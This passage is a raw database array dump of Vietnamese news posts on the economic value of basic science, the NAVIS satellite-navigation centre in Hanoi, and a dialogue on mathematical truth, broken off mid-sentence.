ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> 2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</div> <div> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều ứng dụng ngoài dự kiến từ các nghiên cứu cơ bản hơn là từ nghiên cứu ứng dụng. Thậm chí trừu tượng và bí hiểm như thuyết tương đối rộng (lý thuyết của Einstein về lực hấp dẫn) cũng có tạo ra một ứng dụng ngoài dự kiến. Đó là phép lạ phục vụ việc định vị được biết đến với tên gọi là hệ thống định vị toàn cầu (GPS), nó có thể ngay lập tức tự động chỉ cho chúng ta biết vị trí và độ cao chính xác trong phạm vi 10 mét ở tất cả mọi nơi trên Trái đất. Hơn 160 nhà sản xuất khắp thế giới đang phát triển các hệ thống dựa trên công nghệ GPS trong một thị trường nhiều tỉ USD. Các hệ thống này làm việc bằng cách so sánh tín hiệu thời gian nhận được từ các vệ tinh khác nhau. Đồng hồ trong các vệ tinh là những chiếc đồng hồ nguyên tử, vốn xưa kia được tạo ra chỉ để phục vụ nghiên cứu về thuyết tương đối rộng, cụ thể là để kiểm chứng dự đoán của Einstein rằng các đồng hồ sẽ chạy khác nhau trong các trường trọng lực khác nhau. </div> <div> 2.4. Giáo dục</div> <div> Làm việc nghiên cứu khoa học cơ bản là một quá trình đào tạo tuyệt vời cho những người muốn sau này làm nghiên cứu ứng dụng hoặc phát triển trong công nghiệp. Hơn nữa, điều này còn tạo ra một mạng lưới liên kết giữa các nhà nghiên cứu trong các ngành công nghiệp khác nhau và trong giới hàn lâm, vốn sẽ không thể tồn tại nếu tất cả sự đào tạo diễn ra bên trong các ngành công nghiệp. Giá trị của mạng lưới ấy ngày càng được các nhà kinh tế học thừa nhận như một lợi ích xã hội đầu tư cho nghiên cứu cơ bản. </div> <div> Cụ thể như với công việc làm thí nghiệm vật lý hạt cơ bản, người ta đánh giá rằng có khoảng 300 bằng tiến sĩ được trao trên toàn thế giới mỗi năm dựa vào công việc làm ở CERN (tính tổng trong toàn bộ lĩnh vực thì có lẽ gấp 2 lần con số này), và ít nhất có một nửa số tiến sĩ đó cuối cùng sẽ làm việc trong công nghiệp hay thương mại, nơi kinh nghiệm của họ đã làm trong các dự án công nghệ cao của các nhóm đa quốc gia tại CERN sẽ trở nên vô cùng cần thiết.</div> <div> Thêm vào đó, có căn cứ cho thấy khoa học cơ bản (ví dụ như trong vật lý, cụ thể là thiên văn học và vật lý hạt cơ bản, với những từ rất quen tai như lỗ đen và hạt quark) đóng một vai trò quan trọng trong việc thu hút sự hứng thú và quan tâm của thế hệ trẻ đến khoa học và công nghệ. Điều này cực kỳ quan trọng mặc dù tác dụng sẽ rất khó được lượng hóa. </div> <div> --------------------------</div> <div> 1. The Economic Laws of Scientific Research, T. Kealey, Macmillan Press, London, 1996. </div> <div> 2. G. Holton, H. Chang và E. Jarkowitz, American Scientists 84, 364, 1996. </div> <div> 3. Trích dẫn trang 198 cuốn “The Life of Sir J.J. Thomson”, Lord Rayleigh, Cambridge University Press, 1942. </div> <div> H.G.B. Casimir, Contribution to Symposium on Technology and World Trade, US Department of Commerce, 16 November 1966.</div> <div> 4. Academic Research and Industrial Innovation, E. Mansfield, Research Policy 20, 1, 1991. </div> <div> </div> <div> THANH LOAN (lược thuật)</div> ', 'images' => '20160616031004d7c6beba6c2283f4ef1e8cc43783f320.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '64718', 'slug' => 'vai-tro-cua-khoa-hoc-co-ban', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '713', 'rght' => '714', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '411', 'name' => 'Áp lực từ hợp tác quốc tế', 'code' => null, 'alias' => 'ap-luc-tu-hop-tac-quoc-te', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Là một đơn vị nghiên cứu công nghệ định vị sử dụng vệ tinh tại Đông Nam Á, một lĩnh vực có ý nghĩa quan trọng với mọi mặt của đời sống, Trung tâm Quốc tế Nghiên cứu Phát triển Định vị sử dụng vệ tinh (NAVIS) phải tự tìm hướng đi tiếp theo cho mình để phát triển.</div> <div> <br /> <strong><img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (3).jpg" style="width: 250px; height: 188px;" /><br /> <br /> “Phát triển đội ngũ, nhưng phải ‘tinh’”</strong></div> <div> </div> <div> Vào năm 2008, Liên minh Châu Âu thông qua Chương trình khung thứ 7 về nghiên cứu và phát triển công nghệ (FP7) đã tài trợ Dự án SEAGALvới sự tham gia của 5 nước đối tác Châu Âu và Châu Á. Mục tiêu chính của Dự án là thiết lập một trung tâm quốc tế chuyên về công nghệ định vị sử dụng vệ tinh (Global Navigation Satellite System – GNSS) đặt tại Trường Đại học Bách Khoa Hà Nội (ĐHBKHN) với các hoạt động đa dạng từ nghiên cứu phát triển, đến quảng bá, đào tạo, chuyển giao công nghệ, tư vấn chính sách liên quan đến công nghệ GNSS cho các nước trong khu vực Đông Nam Á. Kết quả của dự án là sự ra đời của Trung tâm Quốc tế NC&PT Công nghệ định vị sử dụng vệ tinh (NAVIS) vào tháng 10/2010. Trung tâm hiện tại có sự tham gia trực tiếp của các đối tác Việt Nam, và Italy thông qua mô hình đồng giám đốc được thực hiện từ tháng 2/2012.</div> <div> </div> <div> Từ ngày thành lập, NAVIS đã và đang tham gia chủ trì và thực hiện hàng chục đề tài, dự án nghiên cứu khoa học (NCKH) với các đối tác Châu Âu, Úc và Nhật Bản tập trung vào các lĩnh vực: (i) định vị đa hệ thống GNSS; (ii) phương pháp và hạ tầng định vị chính xác (mm/cm); (iii) giám sát môi trường sử dụng GNSS; (iv) các dịch vụ hướng vị trí; và (v) đảm bảo an ninh trong định vị (chống phá sóng, và giả mạo tín hiệu). Trong đó, nổi bật nhất là Dự án FP7 Growing NAVIS, do EU tài trợ, với sự tham gia của 10 đối tác quốc tế từ Châu Âu, Châu Á và Châu Đại Dương, với nhiều hoạt động trên tất cả các lĩnh vực của Trung tâm, nhằm mục đích phát triển NAVIS thực sự trở thành một trung tâm hàng đầu về công nghệ GNSS tại khu vực Đông Nam Á.</div> <div> </div> <div> “Tại thời điểm hiện tại, chúng tôi coi hợp tác quốc tế, cũng như triển khai các đề tài, dự án nghiên cứu khoa học các cấp là trọng tâm, tuy nhiên, để phát triển bền vững, chúng tôi phải sống “được” với các sản phẩm nghiên cứu khoa học của mình. Đó vừa là sự quyết tâm, vừa là trách nhiệm của chúng tôi với sự đầu tư của xã hội! Không còn cách nào khác!!!”, TS. Tạ Hải Tùng nói.</div> <div> NAVIS đã và đang chứng tỏ được vai trò quốc tế của mình trong khu vực thông qua ba năm liền tổ chức nhiều hội thảo, hội nghị, và trường hè quốc tế hàng năm về công nghệ GNSS: NAVIS phối hợp với Diễn đàn định vị đa hệ thống châu Á (Multi-GNSS Asia), Uỷ ban quốc tế của LHQ về GNSS(ICG)… tổ chức Hội nghị cấp vùng Châu Á và Châu Đại dương về công nghệ GNSS (AOR), trong đó, hội nghị AOR-2013 đã được tổ chức thành công tại ĐHBK HN với sự tham gia của gần 200 khách quốc tế đến từ 17 quốc gia và vùng lãnh thổ.</div> <div> </div> <div> NAVIS cũng trở thành địa chỉ hợp tác về GNSS đáng tin cậy của các tổ chức quốc tế về hàng không vũ trụ trên thế giới, qua việc đang vận hành 2 hệ thống trạm giám sát chất lượng tín hiệu định vị GNSS nằm trong mạng lưới toàn cầu của Cơ quan NC&PT hàng không vũ trụ Nhật Bản (JAXA), Cơ quan Vũ trụ Châu Âu (ESA), cũng như hợp tác chặt chẽ với Trung tâm nghiên cứu hỗn hợp trực thuộc Uỷ ban Châu Âu (EC) trong nghiên cứu tác động của tầng điện ly tại khu vực cận xích đạo lên chất lượng dịch vụ định vị.</div> <div> </div> <div> Việc hợp tác quốc tế, nhất là trong triển khai các dự án, đề tài NCKH với các đối tác hàng đầu trong lĩnh vực, tạo ra sức ép lớn với NAVIS trong việc thu hút, và phát triển đội ngũ nghiên cứu trình độ cao trong một lĩnh vực công nghệ cao, đầy mới mẻ không chỉ với Việt Nam mà còn trên thế giới. TS. Tạ Hải Tùng – Giám đốc Trung tâm chia sẻ: “Khi mới thành lập, Trung tâm chỉ có duy nhất 2 người được đào tạo chuyên sâu trong lĩnh vực. Làm thế nào để phát triển đội ngũ, mà phải “tinh” với kỹ năng làm việc quốc tế, chứ không chạy theo số lượng, trong bối cảnh không có biên chế nghiên cứu màphải tự chủ về nguồn thu là câu hỏi đau đáu với ban Giám đốc Trung tâm lúc bấy giờ”. Với sự ủng hộ mạnh mẽ của Ban Giám hiệu nhà Trường trong việc cung cấp cơ chế mở, cũng như hỗ trợ hết mình cho hợp tác quốc tế phát triển Trung tâm. NAVIS đã dần dần thu hút được các nhà khoa học trẻ trong trường, những người “bị” thuyết phục bởi kế hoạch và tiềm năng dài hạn của NAVIS để chấp nhận chuyển đổi hướng nghiên cứu theo định hướng của Trung tâm. Tuy nhiên, những người “dũng cảm” như thế không nhiều, vì vậy, NAVIS phải tự xây dựng đội ngũ thông qua đào tạo và giữ lại công tác các sinh viên xuất sắc của Trường ĐHBK Hà Nội và gửi hàng chục sinh viên theo các chương trình thực tập ngắn hạn, Thạc sỹ và Tiến sỹ trong chuyên ngành GNSS tại Châu Âu và Úc. Nhiều người trong số họ đã trở về, đóng góp lớn vào sự thành công bước đầu của Trung tâm. Và thực tế này lại đặt Trung tâm dưới một sức ép mới, làm sao để giữ những con người như vậy.</div> <div> </div> <div> <strong>“Đi bằng hai chân”</strong></div> <div> </div> <div> Với tầm quan trọng ngày càng gia tăng của định vị sử dụng vệ tinh trong mọi lĩnh vực của đời sống, từ dẫn đường, theo dõi đối tượng; đến nông nghiệp chính xác, giám sát môi trường, đồng bộ giao dịch tài chính, ngân hàng, viễn thông, năng lượng; cũng như những ứng dụng thiết yếu trong an ninh quốc phòng;nhiều nước trên thế giới đã và đang tự phát triển hệ thống vệ tinh định vị của riêng mình như Galileo (Châu Âu), GLONASS (Nga), Beidou (Trung Quốc), QZSS (Nhật Bản), IRNSS (Ấn Độ)…</div> <div> </div> <div> Việt Nam chúng ta hiện chưa có hệ thống vệ tinh định vị của riêng mình, và việc sử dụng dịch vụ hoàn toàn dựa vào các hệ thống của nước ngoài. Vì vậy, môi trường định vị đa hệ thống với nhiều lựa chọn về công nghệ và dịch vụ mới có ý nghĩa vô cùng quan trọng đối với Việt Nam trong việc giảm bớt sự phụ thuộc vào một hệ thống riêng lẻ, nâng cao độ chính xác, và đặc biệt là tính sẵn sàng và độ tinh cậy của định vị sử dụng vệ tinh.</div> <div> </div> <div> Nhận thức được vấn đề đó, NAVIS đã nghiên cứu và chế tạo thành công bộ thu định vị đa hệ thống NAVISOFT. NAVISOFT có thể hoạt động được với tất cả các hệ thống GNSS hiện tại (bao gồm: GPS/GLONASS/Galileo/Beidou), cũng như hệ thống cấp khu vực QZSS của Nhật Bản. Sản phẩm này đặc biệt có ý nghĩa đặc biệt quan trọng trong các lĩnh vực đặc thù, nơi không phải độ chính xác mà độ tin cậy của kết quả định vị mới được quan tâm nhiều nhất. Với sản phẩm này, NAVIS đã được Cơ quan Vũ trụ Châu Âu (ESA) chứng nhận là một trong 50 đơn vị đầu tiên trên thế giới (một trong ba đơn vị tại Châu Á, cùng với Nhật Bản và Trung Quốc) đã sử dụng thành công dịch vụ định vị sử dụng vệ tinh của Galileo.</div> <div> </div> <div> Bộ thu độ chính xác cao NAVISA với các nghiên cứu cải tiến phù hợp với điều kiện hoạt động ngoài biển, kết hợp với các phần mềm xử lý, tính toán dữ liệu có thể giải quyết bài toán quan trọng liên quan đến theo dõi sự dịch chuyển và cảnh báo an toàn của nhà giàn chủ quyền trên biển Đông trong điều kiện thiên tai khắc nghiệt. Tuy nhiên, quy trình đề xuất, xét duyệt phức tạp, kéo dài, đã cản trở việc triển khai đề tài, dù ai cũng nhận ra tính cấp bách của nó.</div> <div> <br /> Ngoài ra, người sử dụng thông thường chỉ làm quen với các dịch vụ định vị tiêu chuẩn với độ chính xác cỡ 5-10m, tuy nhiên, hiện tại công nghệ định vị chính xác (precise positioning) rất phát triển, cung cấp cho người sử dụng chuyên biệt trong các lĩnh vực như trắc địa, xây dựng bản đồ, điều khiển phương tiện tự hành… các dịch vụ định vị có độ chính xác rất cao (cỡ mm, cm). Tại Việt Nam, giá thành của các bộ thu định vị chính xác ngoại nhập, đặc biệt các bộ thu cho kết quả theo thời gian thực có giá thành từ vài trăm triệu đến cả tỷ đồng, là cản trở rất lớn tới sự ứng dụng của công nghệ quan trọng này. Trong bối cảnh đó, NAVIS đã chế tạo thành công bộ thu NAVISA với tính năng đáp ứng đầy đủ các tiêu chuẩn của một bộ thu định vị chính xác.“Nhưng con đường đưa sản phẩm KHCN vàothực tiễn không hề đơn giản. Sự cản trở đôi khi đến từ tâm lý nghi kỵ các sản phẩm NCKH do các nhà khoa học Việt Nam tạo ra của các doanh nghiệp cũng như các đơn vị có nhu cầu” TS. Tùng nói. Tuy nhiên, từng bước một, để xây dựng lòng tin, NAVIS tạo điều kiện cho các doanh nghiệp có nhu cầu dùng thử sản phẩm của mình, cán bộ đã đến tận hiện trường để chứng minh năng lực của thiết bị.</div> <div> </div> <div> Bên cạnh nghiên cứu ứng dụng, NAVIS cũng đang triển khai các định hướng nghiên cứu hàn lâm. Theo TS. Tạ Hải Tùng, “Bây giờ là thời điểm vàng để nghiên cứu định vị sử dụng vệ tinh”. Bởi đến năm 2020, khi các hệ thống ngoài GPS phát triển hoàn thiện, với hơn 30 vệ tinh từ tất cả các hệ thốngxuất hiện đồng thời tại mọi thời điểm (nhiều nhất trên toàn thế giới), Đông Nam Á sẽ là địa điểm “lý tưởng” cho nghiên cứu về định vị. Tuy nhiên do gần xích đạo nơi có tầng điện ly hoạt động bất thường, nênĐNA cũng là nơi có chất lượng dịch vụ định vị không tốt so với các khu vực ở vĩ độ cao. Vì vậy, những mô hình dự báo hoạt động của tầng điện ly của các hệ thống GNSS hiện nay (vốn được thiết kế tối ưu cho khu vực vĩ độ cao) đáp ứng không hiệu quả ở Đông Nam Á. Cùng với các đối tác, NAVIS đang tiến hành các nghiên cứu sử dụng tín hiệu GNSS để phân tích các đặc trưng của tầng điện ly trong khu vực, nhằm mục đích nâng cao chất lượng định vị. Bên cạnh đó, trung tâm cũng triển khai các nghiên cứu quan trọng liên quan tới “an ninh”trong định vị để giải quyết các bài toán liên quan đến phá sóng, và giả mạo tín hiệu GPS, có ý nghĩa tối quan trọng trong an ninh – quốc phòng.</div> <div> </div> <div> Là một tố chức nghiên cứu trong trường đại học, TS. Tạ Hải Tùng xác định NAVIS sẽ phải tập trung song song nghiên cứu ứng dụng và nghiên cứu hàn lâm mà anh gọi đó là “hai chân” của trung tâm: “Chúng tôi sẽ đầu tư về con người, kết hợp với các dự án trong nước và quốc tế để ‘đi bằng hai chân’. Nhưng về lâu dài, một đơn vị nghiên cứu cần phải có các sản phẩm nghiên cứu cụ thể và phối hợp với các doanh nghiệp, tổ chức để áp dụng vào thực tế. Điều này nếu thành công sẽ tạo ra nguồn thu ổn định lâu dài cho Trung tâm. Từ đó, chúng tôi sẽ đầu tư trở lại cho nghiên cứuhàn lâm, tạo điều kiện phát triển đội ngũ NCKH trình độ cao, sẵn sàng cho những thách thức, và cơ hội phát triển mới”.</div> ', 'images' => '201606160308358deddf03f08b1252c7983c2c650c0410.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '62952', 'slug' => 'ap-luc-tu-hop-tac-quoc-te', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '711', 'rght' => '712', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám 